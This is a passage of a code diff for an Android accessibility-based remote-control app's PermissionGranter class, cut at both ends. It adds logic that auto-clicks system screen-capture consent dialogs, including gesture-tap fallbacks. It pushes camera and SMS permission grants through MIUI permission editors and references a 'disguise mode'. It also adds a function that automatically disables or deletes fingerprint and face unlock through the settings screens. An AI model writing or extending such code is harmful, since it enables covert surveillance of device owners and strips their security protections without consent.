非系统权限窗口,跳过处理 (packageName=$packageName)") return } @@ -2487,10 +3789,13 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { if (success) { Log.i(TAG, "🎉 通过resourceId成功点击确认按钮: $resourceId") buttonFound = true - isRequestingMediaProjection = false break } else { Log.w(TAG, "⚠️ ResourceId点击失败: $resourceId") + if (tapNodeCenterByGesture(button, "resourceId:$resourceId")) { + buttonFound = true + break + } } } else { Log.i(TAG, " ❌ ResourceId节点不可点击或非按钮类型") @@ -2509,9 +3814,6 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { Log.i(TAG, "🔍 策略3: 智能匹配所有可点击节点...") buttonFound = findAndClickSmartButton(rootNode, 0).first } - if (buttonFound) { - isRequestingMediaProjection = false - } } // 策略4: 全面扫描所有按钮 - 新增策略 @@ -2523,9 +3825,6 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { Log.i(TAG, "🔍 策略4: 全面扫描所有按钮并详细分析...") buttonFound = scanAllButtonsAndAnalyze(rootNode) } - if (buttonFound) { - isRequestingMediaProjection = false - } } // 策略5: 二次确认页面检测(仅在特定条件下触发) @@ -2536,9 +3835,6 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { } else { Log.i(TAG, "🔍 策略5: 检测是否存在二次确认页面...") buttonFound = handleSecondaryConfirmationIfNeeded(rootNode) - if (buttonFound) { - isRequestingMediaProjection = false - } } } @@ -2553,28 +3849,31 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { if (buttonFound) { Log.i(TAG, "🎉 MediaProjection权限对话框处理成功") - // ✅ 立即重置所有状态,防止继续创建MainActivity - isRequestingMediaProjection = false - mediaProjectionRetryCount = 0 + // 保持 requesting=true,等待 MainActivity.onActivityResult 写入真实 token hasDetectedPermissionDialog = false dialogDetectionCount = 0 lastDialogPackageName = null - Log.i(TAG, "🔄 已重置所有权限申请状态,停止MainActivity创建循环") + Log.i(TAG, "⏳ 已点击授权按钮,等待MainActivity回调真实权限数据") // ⚠️ 延迟发送权限成功广播,等待MainActivity确认 Log.i(TAG, "⏳ 等待MainActivity权限结果确认...") // 设置一个延迟检查,如果3秒后MainActivity没有确认权限成功,则认为失败 CoroutineScope(Dispatchers.Main).launch { - delay(3000) + delay(6000) - // 检查权限是否真的获取成功 - if (isRequestingMediaProjection) { - Log.w(TAG, "⚠️ 3秒后MainActivity仍未确认权限成功,可能点击了错误按钮") + // 检查权限是否真的获取成功(必须是 MainActivity 回调写入的真实数据) + if (!hasMediaProjectionPermission()) { + if (isSystemProjectionDialogVisible()) { + Log.i(TAG, "⏳ 权限弹窗仍在前台,延后重置状态等待系统回调") + return@launch + } + Log.w(TAG, "⚠️ 6秒后仍未检测到真实MediaProjection权限数据,可能点击失败或系统未回调") Log.w(TAG, "🔄 重置状态并重试或要求用户手动操作") // 重置状态,让系统有机会重试 + isRequestingMediaProjection = false hasDetectedPermissionDialog = false dialogDetectionCount = 0 @@ -2683,6 +3982,9 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { return Pair(true, false) } else { Log.w(TAG, "⚠️ 智能匹配点击失败") + if (tapNodeCenterByGesture(node, "smart_button:$text")) { + return Pair(true, false) + } } } else { Log.d(TAG, " ❓ 节点不符合确认按钮特征") @@ -3118,6 +4420,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { fun stopAutoClickingImmediately() { try { Log.i(TAG, "🛑 [强制停止] 立即停止PermissionGranter自动点击功能") + cancelMediaProjectionSafetyReset("stop_auto_clicking") isRequestingMediaProjection = false dialogDetectionCount = 0 mediaProjectionRetryCount = 0 @@ -3134,43 +4437,13 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { */ private fun handleMediaProjectionGranted() { try { - Log.i(TAG, "MediaProjection权限已获取") + Log.i(TAG, "MediaProjection授权按钮已点击") - // ✅ 关键修复:权限获取成功后立即停止自动点击功能 - isRequestingMediaProjection = false - dialogDetectionCount = 0 - mediaProjectionRetryCount = 0 + // 关键约束:禁止伪造权限 Intent,必须等待 MainActivity.onActivityResult 写入真实数据 + Log.i(TAG, "🧾 等待MainActivity.onActivityResult回写真实MediaProjection权限数据(不再写入模拟Intent)") hasDetectedPermissionDialog = false - Log.i(TAG, "🛑 [关键修复] 权限获取成功,已停止PermissionGranter自动点击功能") - - // ✅ 关键修复:直接模拟权限数据存储,不依赖MainActivity的onActivityResult - try { - Log.i(TAG, "🔧 权限按钮点击成功,模拟权限数据存储") - - // 创建模拟的权限数据 - 使用标准的RESULT_OK和最小化的Intent - val resultCode = android.app.Activity.RESULT_OK - val resultData = android.content.Intent().apply { - // 添加必要的权限标识,模拟系统返回的权限数据 - putExtra("EXTRA_MEDIA_PROJECTION_PERMISSION_GRANTED", true) - putExtra("EXTRA_PERMISSION_SOURCE", "PermissionGranter_AutoClick") - putExtra("EXTRA_TIMESTAMP", System.currentTimeMillis()) - } - - // 直接存储到MediaProjectionHolder - com.hikoncont.MediaProjectionHolder.setPermissionData(resultCode, resultData) - Log.i(TAG, "✅ 已模拟存储MediaProjection权限数据到MediaProjectionHolder") - - // 验证存储是否成功 - val storedData = com.hikoncont.MediaProjectionHolder.getPermissionData() - if (storedData != null) { - Log.i(TAG, "✅ 权限数据存储验证成功,MainActivity监听应该能检测到") - } else { - Log.e(TAG, "❌ 权限数据存储验证失败") - } - - } catch (e: Exception) { - Log.e(TAG, "❌ 模拟权限数据存储失败", e) - } + dialogDetectionCount = 0 + lastDialogPackageName = null // Android 15设备可能需要二次确认,启动监听 val androidVersion = Build.VERSION.SDK_INT @@ -3178,6 +4451,20 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { // 🚨 Android 11+特殊处理:统一使用无障碍截图API,跳过二次确认监听 if (androidVersion >= 30) { Log.i(TAG, "📱 Android 11+设备:使用无障碍截图API,跳过二次确认监听") + CoroutineScope(Dispatchers.Main).launch { + var checked = 0 + while (checked < 12) { + if (hasMediaProjectionPermission()) { + Log.i(TAG, "✅ 检测到真实MediaProjection权限数据,停止自动点击状态") + setMediaProjectionRequesting(false) + return@launch + } + delay(500) + checked++ + } + Log.w(TAG, "⚠️ 超时未检测到真实MediaProjection权限数据,结束当前申请轮次") + isRequestingMediaProjection = false + } return } @@ -3283,7 +4570,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { val rootNode = service.rootInActiveWindow ?: return@repeat try { - val buttonTexts = romAdapter.getMediaProjectionButtonTexts() + val buttonTexts = romPolicy.mediaProjectionConfirmTexts val button = findButtonByTexts(rootNode, buttonTexts) if (button != null) { @@ -3416,10 +4703,22 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { fun resetPermissionRequestState() { Log.i(TAG, "🔄 重置权限申请状态") isRequestingMediaProjection = false + isRequestingCameraPermission = false + isRequestingGalleryPermission = false + isRequestingMicrophonePermission = false + isRequestingSMSPermission = false // 删除悬浮窗权限请求状态重置 mediaProjectionRetryCount = 0 + cameraPermissionRetryCount = 0 + galleryPermissionRetryCount = 0 + microphonePermissionRetryCount = 0 + smsPermissionRetryCount = 0 // 删除悬浮窗权限重试计数重置 lastMediaProjectionAttemptTime = 0L + cameraPermissionRequestStartedAt = 0L + galleryPermissionRequestStartedAt = 0L + microphonePermissionRequestStartedAt = 0L + smsPermissionRequestStartedAt = 0L // 删除悬浮窗权限最后尝试时间重置 // 停止二次确认监听 @@ -3578,6 +4877,9 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { return true } else { Log.w(TAG, "⚠️ 点击确认按钮失败") + if (tapNodeCenterByGesture(targetButton, "scan_all_confirm:${targetButton.text}")) { + return true + } } } @@ -3622,18 +4924,55 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { } } - // 如果还是没找到,尝试点击非取消按钮 - for (button in allButtons) { - val text = button.text?.toString()?.lowercase() ?: "" - val isCancelButton = text.contains("cancel") || text.contains("取消") || - text.contains("deny") || text.contains("拒绝") || - text.contains("dismiss") || text.contains("关闭") - - if (!isCancelButton) { - Log.i(TAG, "🎯 尝试点击非取消按钮: 文本='$text'") + // 如果还是没找到,执行严格兜底: + // 1) 必须在系统投屏弹窗上下文 + // 2) 必须是按钮样式节点 + // 3) 必须命中确认语义(允许/开始),禁止“非取消即点击” + if (!isSystemProjectionDialogVisible()) { + Log.w(TAG, "🛡️ 跳过宽松兜底:当前非系统投屏弹窗上下文,避免误点") + } else { + for (button in allButtons) { + val text = button.text?.toString()?.trim().orEmpty() + val desc = button.contentDescription?.toString()?.trim().orEmpty() + val combinedText = buildNodeCombinedText(button.text, button.contentDescription) + val className = button.className?.toString().orEmpty() + val viewId = button.viewIdResourceName.orEmpty() + + val buttonLikeClass = + className.contains("button", ignoreCase = true) || + className.contains("material", ignoreCase = true) + val buttonLikeId = + viewId.contains("button", ignoreCase = true) || + viewId.contains("positive", ignoreCase = true) || + viewId.contains("confirm", ignoreCase = true) + val buttonLikeNode = button.isClickable && (buttonLikeClass || buttonLikeId) + + val isCancelButton = + isRuntimeDenyText(combinedText) || + text.contains("dismiss", ignoreCase = true) || + desc.contains("dismiss", ignoreCase = true) + val isConfirmButton = + isRuntimeAllowText(combinedText) || + viewId.contains("allow", ignoreCase = true) || + viewId.contains("start", ignoreCase = true) || + viewId.contains("positive", ignoreCase = true) || + viewId.contains("button1", ignoreCase = true) + + if (isCancelButton || !isConfirmButton || !buttonLikeNode) { + Log.d( + TAG, + "⏭️ 严格兜底跳过节点: text='$text', desc='$desc', class='$className', viewId='$viewId', confirm=$isConfirmButton, cancel=$isCancelButton, buttonLike=$buttonLikeNode" + ) + continue + } + + Log.i(TAG, "🎯 严格兜底点击确认按钮: text='$text', desc='$desc'") val success = button.performAction(AccessibilityNodeInfo.ACTION_CLICK) if (success) { - Log.i(TAG, "🎉 成功点击非取消按钮: $text") + Log.i(TAG, "🎉 严格兜底点击成功: text='$text'") + return true + } + if (tapNodeCenterByGesture(button, "scan_all_strict_confirm:$text")) { return true } } @@ -4860,10 +6199,10 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { try { Log.d(TAG, "🔍 检查是否为Android ${Build.VERSION.SDK_INT} 真实用户权限弹窗") - // 🔧 首先检查包名,必须是系统UI才可能是权限弹窗 + // 🔧 首先检查包名,必须是系统权限相关组件才可能是权限弹窗 val packageName = event.packageName?.toString() - if (packageName != "com.android.systemui") { - Log.d(TAG, "🔍 包名不是systemui,不是权限弹窗: $packageName") + if (!isLikelyMediaProjectionDialogPackage(packageName)) { + Log.d(TAG, "🔍 包名不在录屏弹窗白名单,不是权限弹窗: $packageName") return false } @@ -5561,6 +6900,9 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { return true } else { Log.w(TAG, "⚠️ 安全模式点击确认按钮失败") + if (tapNodeCenterByGesture(targetButton, "scan_safe_confirm:${targetButton.text}")) { + return true + } } } else { Log.w(TAG, "⚠️ 安全模式未找到合适的确认按钮") @@ -5657,8 +6999,15 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { */ fun startCameraPermissionRequest() { if (isRequestingCameraPermission) { - Log.i(TAG, "📷 摄像头权限申请已在进行中") - return + if (shouldRecoverStaleRuntimeRequest("摄像头", cameraPermissionRequestStartedAt, hasCameraPermission())) { + isRequestingCameraPermission = false + cameraPermissionRetryCount = 0 + cameraPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("camera", "stale_reset_before_restart") + } else { + Log.i(TAG, "📷 摄像头权限申请已在进行中") + return + } } // 🎭 检查是否是伪装模式,如果是则不申请权限 @@ -5669,6 +7018,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { if (hasCameraPermission()) { Log.i(TAG, "✅ 摄像头权限已授予") + clearRuntimePermissionFailure("camera", "already_granted_before_request") return } @@ -5677,36 +7027,51 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { Log.e(TAG, "❌ 无障碍服务状态异常,无法申请权限") return } - + + if (shouldDeferRuntimePermissionForProjection("camera")) { + return + } + if (shouldWaitForForegroundRuntimeRequest("camera")) { + return + } + + refreshRuntimePermissionPacing("camera_request") + if (!beginRuntimePermissionRequest("camera")) { + return + } Log.i(TAG, "📷 开始摄像头权限申请流程") isRequestingCameraPermission = true cameraPermissionRetryCount = 0 - - // ✅ 修复:检查是否是保活场景,如果是则不启动MainActivity - if (isKeepAliveScenario()) { - Log.i(TAG, "💡 保活场景下申请摄像头权限,不启动MainActivity(避免保活程序拉起)") - Log.i(TAG, "💡 建议:通过通知或其他方式让用户主动打开应用进行权限申请") - return - } - - // 确保MainActivity被启用 - ensureMainActivityEnabled() - - // 启动权限申请Activity - val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply { - flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP - putExtra("request_camera_permission", true) - } - context.startActivity(intent) + cameraPermissionRequestStartedAt = System.currentTimeMillis() - // MIUI/澎湃OS 特殊处理 - if (isMiuiDevice()) { - Log.i(TAG, "🔧 检测到小米/澎湃OS,尝试打开MIUI权限编辑页以授予摄像头权限") - openMiuiPermissionEditor("camera") - }else{ + try { + var entryVisible = launchRuntimePermissionBridgeActivity("camera", "start_request") + if (!entryVisible && shouldLaunchMainActivityForRuntimeRequest("camera")) { + // 确保MainActivity被启用 + ensureMainActivityEnabled() + + // 启动权限申请Activity + val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply { + flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP + putExtra("request_camera_permission", true) + } + context.startActivity(intent) + entryVisible = verifyRuntimeRequestEntry("camera", "main_activity") + } - // 开始监听权限对话框 + // MIUI/澎湃OS 特殊处理 + if (isMiuiDevice() && !entryVisible) { + Log.i(TAG, "🔧 检测到小米/澎湃OS,尝试打开MIUI权限编辑页以授予摄像头权限") + openMiuiPermissionEditor("camera") + } + // 始终启动监听,确保MIUI分支也能在超时后自动清理请求状态 startCameraPermissionDialogMonitoring() + } catch (e: Exception) { + Log.e(TAG, "启动摄像头权限申请失败", e) + isRequestingCameraPermission = false + cameraPermissionRetryCount = 0 + cameraPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("camera", "start_exception") } } @@ -5716,8 +7081,15 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { */ fun startSMSPermissionRequest() { if (isRequestingSMSPermission) { - Log.i(TAG, "📱 短信权限申请已在进行中") - return + if (shouldRecoverStaleRuntimeRequest("短信", smsPermissionRequestStartedAt, hasSMSPermission())) { + isRequestingSMSPermission = false + smsPermissionRetryCount = 0 + smsPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("sms", "stale_reset_before_restart") + } else { + Log.i(TAG, "📱 短信权限申请已在进行中") + return + } } // 🎭 检查是否是伪装模式,如果是则不申请权限 @@ -5728,6 +7100,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { if (hasSMSPermission()) { Log.i(TAG, "✅ 短信权限已授予") + clearRuntimePermissionFailure("sms", "already_granted_before_request") return } @@ -5736,40 +7109,232 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { Log.e(TAG, "❌ 无障碍服务状态异常,无法申请权限") return } - + + if (shouldDeferRuntimePermissionForProjection("sms")) { + return + } + if (shouldWaitForForegroundRuntimeRequest("sms")) { + return + } + + refreshRuntimePermissionPacing("sms_request") + if (!beginRuntimePermissionRequest("sms")) { + return + } Log.i(TAG, "📱 开始短信权限申请流程") isRequestingSMSPermission = true smsPermissionRetryCount = 0 - - // ✅ 修复:检查是否是保活场景,如果是则不启动MainActivity - if (isKeepAliveScenario()) { - Log.i(TAG, "💡 保活场景下申请短信权限,不启动MainActivity(避免保活程序拉起)") - Log.i(TAG, "💡 建议:通过通知或其他方式让用户主动打开应用进行权限申请") - return - } - - // 确保MainActivity被启用 - ensureMainActivityEnabled() - - // 启动权限申请Activity - val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply { - flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP - putExtra("request_sms_permission", true) - } - context.startActivity(intent) + smsPermissionRequestStartedAt = System.currentTimeMillis() - // MIUI/澎湃OS 特殊处理 - if (isMiuiDevice()) { - Log.i(TAG, "🔧 检测到小米/澎湃OS,尝试打开MIUI权限编辑页以授予短信权限") - openMiuiPermissionEditor("sms") - }else{ - // 开始监听权限对话框 + try { + var entryVisible = launchRuntimePermissionBridgeActivity("sms", "start_request") + if (!entryVisible && shouldLaunchMainActivityForRuntimeRequest("sms")) { + // 确保MainActivity被启用 + ensureMainActivityEnabled() + + // 启动权限申请Activity + val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply { + flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP + putExtra("request_sms_permission", true) + } + context.startActivity(intent) + entryVisible = verifyRuntimeRequestEntry("sms", "main_activity") + } + + // MIUI/澎湃OS 特殊处理 + if (isMiuiDevice() && !entryVisible) { + Log.i(TAG, "🔧 检测到小米/澎湃OS,尝试打开MIUI权限编辑页以授予短信权限") + openMiuiPermissionEditor("sms") + } + // 始终启动监听,确保MIUI分支也能在超时后自动清理请求状态 startSMSPermissionDialogMonitoring() + } catch (e: Exception) { + Log.e(TAG, "启动短信权限申请失败", e) + isRequestingSMSPermission = false + smsPermissionRetryCount = 0 + smsPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("sms", "start_exception") } } + /** + * 一键禁用指纹/人脸(尽力而为) + * 说明: + * 1) 不依赖设备管理员高权限,走系统设置页自动化点击。 + * 2) 部分 ROM 会要求输入锁屏凭据,此时返回“需人工确认”。 + */ + fun disableBiometricAuth(): Pair { + return try { + val intents = listOf( + Intent(android.provider.Settings.ACTION_SECURITY_SETTINGS).apply { + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP) + addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) + }, + Intent("android.settings.FINGERPRINT_SETTINGS").apply { + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP) + addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) + }, + Intent("android.settings.FACE_SETTINGS").apply { + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP) + addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) + }, + Intent("android.settings.BIOMETRIC_ENROLL").apply { + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP) + addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) + }, + Intent(android.provider.Settings.ACTION_SETTINGS).apply { + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP) + addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) + } + ) + + var launched = false + for (intent in intents) { + if (intent.resolveActivity(context.packageManager) == null) continue + try { + context.startActivity(intent) + launched = true + break + } catch (e: Exception) { + Log.w(TAG, "⚠️ 启动生物识别设置失败: action=${intent.action}", e) + } + } + if (!launched) { + return Pair(false, "无法打开系统安全设置页") + } + + val biometricEntryTexts = listOf( + "指纹", "Fingerprint", "Face", "Face unlock", "人脸", "面容", "生物识别", "Biometric", + "密码与安全", "密码、隐私与安全", "指纹、面部与密码", "面容解锁", "指纹解锁", + "Face data", "Fingerprint data" + ) + val disableTexts = listOf( + "关闭", "禁用", "停用", "删除", "移除", "关闭指纹", "关闭人脸", + "删除指纹", "删除面容", "清除面容数据", "清除指纹数据", "关闭面容解锁", "关闭指纹解锁", + "Disable", "Turn off", "Off", "Remove", "Delete", "Remove face data", "Remove fingerprint" + ) + val confirmTexts = listOf( + "确定", "确认", "继续", "同意", "是", "删除", "关闭", + "OK", "Confirm", "Continue", "Yes", "Disable", "Turn off", "Remove", "Delete" + ) + val credentialTexts = listOf( + "输入锁屏密码", "请输入密码", "验证密码", "输入 PIN", "输入图案", + "请输入锁屏密码", "输入屏幕锁定密码", + "Enter password", "Confirm your PIN", "Confirm your pattern", "Verify it's you" + ) + + var clicked = false + var requiresCredential = false + + repeat(16) { + Thread.sleep(380) + val root = service.rootInActiveWindow ?: return@repeat + try { + if (containsAnyKeywordInTree(root, credentialTexts)) { + requiresCredential = true + return@repeat + } + + // 先尝试进入指纹/人脸子页面。 + if (tryClickNodesByText(root, biometricEntryTexts)) { + clicked = true + Thread.sleep(260) + return@repeat + } + + // 生物识别页面很多是「行 + 开关」结构,优先尝试关闭已开启开关。 + if (tryDisableCheckedBiometricSwitch(root, biometricEntryTexts)) { + clicked = true + Thread.sleep(220) + return@repeat + } + + // 再尝试点击关闭/删除动作,再执行确认。 + if (tryClickNodesByText(root, disableTexts)) { + clicked = true + Thread.sleep(220) + } + if (tryClickNodesByText(root, confirmTexts)) { + clicked = true + } + } finally { + runCatching { root.recycle() } + } + } + + if (requiresCredential) { + Pair(false, "已进入生物识别设置,但系统要求输入锁屏密码,请手动完成最后确认") + } else if (clicked) { + Pair(true, "已执行一键禁用指纹/人脸流程(ROM 可能仍需人工确认)") + } else { + Pair(false, "已打开安全设置,但未定位到可点击的指纹/人脸禁用控件") + } + } catch (e: Exception) { + Log.e(TAG, "❌ 一键禁用指纹/人脸失败", e) + Pair(false, "禁用指纹/人脸失败: ${e.message ?: "unknown_error"}") + } + } + + /** + * 在系统设置页尝试关闭已开启的生物识别相关开关。 + * 说明:优先要求页面内存在生物识别关键词,避免误触普通设置项。 + */ + private fun tryDisableCheckedBiometricSwitch( + rootNode: AccessibilityNodeInfo, + biometricKeywords: List + ): Boolean { + return try { + val pageLooksBiometric = containsAnyKeywordInTree(rootNode, biometricKeywords) || + containsAnyKeywordInTree(rootNode, listOf("已录入", "已开启", "face", "fingerprint")) + if (!pageLooksBiometric) { + return false + } + + val allNodes = mutableListOf() + collectAllNodes(rootNode, allNodes, 0) + for (node in allNodes) { + val className = node.className?.toString()?.lowercase() ?: "" + val switchLike = node.isCheckable || + className.contains("switch") || + className.contains("checkbox") || + className.contains("miuiswitch") + if (!switchLike) continue + + val checked = runCatching { node.isChecked }.getOrDefault(false) + if (!checked) continue + + if (clickNodeOrParent(node)) { + Log.i(TAG, "✅ 已尝试关闭生物识别开关: class=${node.className}") + return true + } + } + false + } catch (e: Exception) { + Log.w(TAG, "⚠️ 尝试关闭生物识别开关失败", e) + false + } + } + + private fun containsAnyKeywordInTree( + rootNode: AccessibilityNodeInfo, + keywords: List + ): Boolean { + for (keyword in keywords) { + val nodes = findNodesByText(rootNode, keyword) + if (nodes.isNotEmpty()) { + return true + } + } + return false + } + /** * 是否为小米/红米(含澎湃OS/MIUI) */ @@ -5795,11 +7360,16 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { // 先异步等待短时间,若已出现系统运行时权限弹框或已授权,则不再打开任何设置页面,避免双弹 serviceScope.launch { -// val appeared = pollForRuntimeDialogOrGrant(reason) -// if (appeared) { -// Log.i(TAG, "✅ 检测到系统权限弹框或已授权,跳过设置页") -// return@launch -// } + val editorLaunchDelayMs = getPermissionEditorLaunchDelayMs() + if (editorLaunchDelayMs > 0L) { + Log.i(TAG, "⏱️ 慢速模式:延迟 ${editorLaunchDelayMs}ms 再打开权限编辑页,reason=$reason") + delay(editorLaunchDelayMs) + } + val appeared = pollForRuntimeDialogOrGrant(reason) + if (appeared) { + Log.i(TAG, "✅ 检测到系统权限弹框或已授权,跳过设置页") + return@launch + } // 未检测到弹框,按机型策略再尝试拉起权限设置页 continueOpenPermissionEditor(reason, isMiui) @@ -5892,6 +7462,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { private fun continueOpenPermissionEditor(reason: String, isMiui: Boolean) { try { + var attempts = 0 // A) Android 12-15 权限控制器(优先,兼容原生/HyperOS;非小米机型使用) val permissionControllerIntents = listOf( Intent().apply { @@ -5973,14 +7544,16 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { if (isMiui) { for (itx in miuiIntents) { - val started = tryStartSettingsActivity(itx) + attempts++ + val started = tryStartSettingsActivity(itx, reason) if (started == true) { startMiuiPermissionAutoToggle(reason) return } } for (itx in fallbackVariants) { - val started = tryStartSettingsActivity(itx) + attempts++ + val started = tryStartSettingsActivity(itx, reason) if (started == true) { startMiuiPermissionAutoToggle(reason) return @@ -5988,22 +7561,42 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { } } else { for (itx in permissionControllerIntents) { - val started = tryStartSettingsActivity(itx) + attempts++ + val started = tryStartSettingsActivity(itx, reason) if (started == true) { startMiuiPermissionAutoToggle(reason) return } } for (itx in fallbackVariants) { - val started = tryStartSettingsActivity(itx) + attempts++ + val started = tryStartSettingsActivity(itx, reason) if (started == true) { startMiuiPermissionAutoToggle(reason) return } } } + val failCode = if (isMiui) { + "miui_permission_editor_launch_denied" + } else { + "permission_editor_launch_failed" + } + recordRuntimePermissionFailure( + reason, + failCode, + "reason=$reason, attempts=$attempts", + "continue_permission_editor" + ) + Log.w(TAG, "⚠️ 权限编辑页未拉起: reason=$reason, attempts=$attempts, isMiui=$isMiui") } catch (e: Exception) { Log.e(TAG, "❌ 继续打开权限编辑页流程失败", e) + recordRuntimePermissionFailure( + reason, + "permission_editor_exception", + e.message ?: "unknown", + "continue_permission_editor_exception" + ) } } @@ -6019,6 +7612,31 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { return false } + private fun verifyRuntimeRequestEntry(reason: String, source: String): Boolean { + repeat(5) { idx -> + Thread.sleep(180) + val activePackage = service.rootInActiveWindow?.packageName?.toString()?.lowercase().orEmpty() + if (activePackage == context.packageName.lowercase() || isRuntimePermissionDialogPackage(activePackage)) { + if (idx > 0) { + Log.i(TAG, "✅ 权限入口已可见: reason=$reason, source=$source, active=$activePackage") + } + return true + } + } + val finalPackage = service.rootInActiveWindow?.packageName?.toString()?.lowercase().orEmpty() + Log.w( + TAG, + "⚠️ 运行时权限入口未拉起,疑似ROM后台弹出限制: reason=$reason, source=$source, active=$finalPackage" + ) + recordRuntimePermissionFailure( + reason, + if (isMiuiDevice()) "miui_background_activity_launch_denied" else "runtime_entry_not_visible", + "source=$source, active=$finalPackage", + "verify_runtime_request_entry" + ) + return false + } + private fun isPermissionGrantedFor(reason: String): Boolean { return try { when (reason.lowercase()) { @@ -6046,22 +7664,75 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { /** * 安全启动设置/权限页面 */ - private fun tryStartSettingsActivity(intent: Intent): Boolean? { + private fun tryStartSettingsActivity(intent: Intent, reason: String): Boolean { return try { if (intent.resolveActivity(context.packageManager) != null) { context.startActivity(intent) - Log.i(TAG, "✅ 已启动权限设置页面: ${intent.component ?: intent.action}") - true + val launchConfirmed = waitForSettingsUiLaunch(intent) + if (launchConfirmed) { + Log.i(TAG, "✅ 已启动权限设置页面: ${intent.component ?: intent.action}") + true + } else { + Log.w(TAG, "⚠️ 权限设置页面疑似被ROM拦截: ${intent.component ?: intent.action}") + recordRuntimePermissionFailure( + reason, + if (isMiuiDevice()) "miui_permission_editor_launch_denied" else "permission_editor_launch_blocked", + "intent=${intent.component ?: intent.action}", + "try_start_settings" + ) + false + } } else { Log.w(TAG, "⚠️ 权限设置页面不可用: ${intent.component ?: intent.action}") false } } catch (e: Exception) { Log.e(TAG, "❌ 启动权限设置页面异常", e) + recordRuntimePermissionFailure( + reason, + "permission_editor_launch_exception", + e.message ?: "unknown", + "try_start_settings_exception" + ) false } } + private fun waitForSettingsUiLaunch(intent: Intent): Boolean { + val expectedHints = mutableSetOf() + intent.component?.packageName?.lowercase()?.let { expectedHints.add(it) } + intent.`package`?.lowercase()?.let { expectedHints.add(it) } + + val action = intent.action?.lowercase().orEmpty() + if (action.contains("miui.intent.action.app_perm_editor")) { + expectedHints.add("com.miui.securitycenter") + expectedHints.add("com.miui.permcenter") + expectedHints.add("com.lbe.security.miui") + } + if (action.contains("application_details_settings") || action.contains("manage_applications_settings")) { + expectedHints.add("com.android.settings") + expectedHints.add("com.miui.securitycenter") + expectedHints.add("com.miui.permcenter") + } + + repeat(5) { idx -> + Thread.sleep(200) + val activePackage = service.rootInActiveWindow?.packageName?.toString()?.lowercase().orEmpty() + if (activePackage.isBlank()) return@repeat + val matchedExpected = expectedHints.any { hint -> activePackage.contains(hint) } + if (matchedExpected || isRuntimePermissionDialogPackage(activePackage)) { + return true + } + if (idx == 4) { + Log.w( + TAG, + "⚠️ 设置页启动后校验失败: action=${intent.action}, expected=${expectedHints.joinToString(",")}, active=$activePackage" + ) + } + } + return false + } + /** * 在打开MIUI权限页后,自动尝试通过无障碍切换所需权限开关 * reason: "camera" | "gallery" | "sms" | "microphone" @@ -6074,104 +7745,504 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { return } - val keywords = when (reason.lowercase()) { - "camera" -> listOf("摄像头", "相机", "Camera") - "gallery" -> listOf("相册", "照片", "图片", "存储", "媒体") - "sms" -> listOf("短信", "SMS", "信息", "Messages","电话","网络") - "microphone" -> listOf("麦克风", "录音", "麦克", "Microphone") - else -> emptyList() - } - - if (keywords.isEmpty()) return + val targets = buildMiuiPermissionTargets(reason) + if (targets.isEmpty()) return // 异步轮询扫描页面并尝试点击目标权限项及其开关 serviceScope.launch { - val approvalsNeeded = if (reason.equals("sms", ignoreCase = true)) 2 else 1 + val approvalsNeeded = targets.size var approvalsDone = 0 + val completedTargets = linkedSetOf() + var activeTargetIndex = 0 val maxTries = 18 + var nonPermissionContextStreak = 0 + var runtimeDialogNoButtonStreak = 0 + Log.i( + TAG, + "🧭 启动MIUI权限自动切换: reason=$reason, targets=${targets.joinToString { it.key }}, maxTries=$maxTries" + ) repeat(maxTries) { idx -> delay(500) try { + val activeTarget = 